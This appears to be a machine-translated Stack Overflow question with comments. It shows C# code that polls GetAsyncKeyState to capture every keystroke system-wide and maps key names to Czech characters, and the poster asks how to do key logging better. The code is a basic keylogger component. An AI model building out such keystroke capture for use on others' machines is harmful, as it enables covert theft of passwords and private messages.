你好堆棧溢出社區!按下Shift鍵時可以替換字符嗎?
這是我的函數來捕獲每一個按鍵:我使用這個功能,取代了我的字符與新
public static string GetBuffKeys()
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
return buffer;
}
有一點格式化:
public static class KeyControl
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public static string ReplaceChars(string text)
{
text = text.Replace("Space", " ");
text = text.Replace("Delete", "<Del>");
text = text.Replace("LShiftKey", "");
text = text.Replace("ShiftKey", "");
text = text.Replace("OemQuotes", "!");
text = text.Replace("Oemcomma", "?");
text = text.Replace("D8", "á");
text = text.Replace("D2", "ě");
text = text.Replace("D3", "š");
text = text.Replace("D4", "č");
text = text.Replace("D5", "ř");
text = text.Replace("D6", "ž");
text = text.Replace("D7", "ý");
text = text.Replace("D9", "í");
text = text.Replace("D0", "é");
text = text.Replace("D1", "+");
text = text.Replace("Back", "<==");
text = text.Replace("LButton", "");
text = text.Replace("RButton", "");
text = text.Replace("NumPad", "");
text = text.Replace("OemPeriod", ".");
text = text.Replace("OemSemicolon", ",");
text = text.Replace("Oem4", "/");
text = text.Replace("LControlKey", "");
text = text.Replace("ControlKey", "");
text = text.Replace("Enter", "<ENT>");
text = text.Replace("Shift", "");
text = text.Replace("CapsLock", "");
text = text.Replace("Oem6", "(");
return text;
}
但我想更換D *(例如D1)帶數字,如果按下Shift鍵。有可能的?如果沒有,關鍵日誌記錄比緩衝所有按下的鍵更好的方法是什麼?非常感謝!
是從['System.Windows.Input.KeyEventArgs.Key'](https://msdn.microsoft該文本。 com./en/us/library/system.windows.input.keyeventargs.key%28v = vs.110%29.aspx)in ['System.Windows.Input.KeyEventArgs'](https://msdn.microsoft.com /en-us/library/System.Windows.Input.KeyEventArgs%28v=vs.110%29.aspx)(WPF)或從['System.Windows.Forms.Keys'](https://msdn.microsoft。 com./en/us/library/system.windows.forms.keys.aspx)在['System.Windows.Forms.KeyEventArgs'](https://msdn.microsoft.com/en-us/library/System.Windows .Forms.KeyEventArgs%28v = vs.110%29.aspx)(winforms)? – dbc
@dbc不,我在man線程中添加了我的函數,請檢查它。 – PepinCZ
您可以使用['Keyboard.Modifiers'](https://msdn.microsoft.com/en-us/library/system.windows.input.keyboard.modifiers%28v=vs.110%29.aspx)來查看當前按下了哪些修飾鍵。那是你要的嗎? – dbc